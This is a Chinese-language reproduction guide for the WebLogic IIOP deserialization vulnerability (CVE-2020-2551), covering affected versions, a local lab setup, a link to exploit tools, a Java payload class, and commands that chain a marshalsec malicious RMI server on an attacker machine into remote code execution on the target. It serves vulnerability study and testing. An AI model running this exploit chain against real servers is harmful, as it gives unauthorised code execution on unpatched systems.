1.漏洞描述
Weblogic IIOP反序列化漏洞影响的协议为IIOP协议,该漏洞是由于调用远程对象的实现存在缺陷,导致序列化对象可以任意构造,在使用之前未经安全检查,攻击者可以通过 IIOP 协议远程访问 Weblogic Server 服务器上的远程接口,传入恶意数据,从而获取服务器权限并在未授权情况下远程执行任意代码。
2.影响版本
- 10.3.6.0.0
- 12.1.3.0.0
- 12.2.1.3.0
- 12.2.1.4.0
3.漏洞环境搭建
所有环境都是建立在java环境的基础上,jdk自行下载安装,本机环境jdk 1.8
1)weblogic下载链接
https://www.oracle.com/middleware/technologies/weblogic-server-downloads.html
2)weblogic 10.3.6安装步骤参考链接:
https://wenku.baidu.com/view/938a7a56f5335a8102d220d0.html
3)搭建完成后,启动weblogic,浏览器输入http://127.0.0.1:7001/console/login/LoginForm.jsp
由于是在本地windows环境搭建,利用IP区分靶机和攻击机器
127.0.0.1(靶机)
192.168.231.186(攻击机器)
4.EXP
EXP下载链接:
https://pan.baidu.com/s/1N9oW3PtJJpkGC-W-LkgW9A 提取码:03vx
工具都在同一个文件夹内
import java.io.IOException;
public class exp {
static{
try {
java.lang.Runtime.getRuntime().exec(new String[]{"cmd","/c","calc"});
} catch (IOException e) {
e.printStackTrace();
}
}
public static void main(String[] args) {
}
}
5.漏洞复现
1)编译生成exp.class
javac exp.java -source 1.6 -target 1.6
启一个web服务,需要与exp.class再同一个文件夹
python -m SimpleHTTPServer 80
python3 -m http.server 80
2)使用marshalsec起一个恶意的RMI服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.231.186/#exp" 1099
3)执行如下命令,成功弹出计算器
java -jar weblogic_CVE_2020_2551.jar 127.0.0.1 7001 rmi://192.168.231.186:1099/exp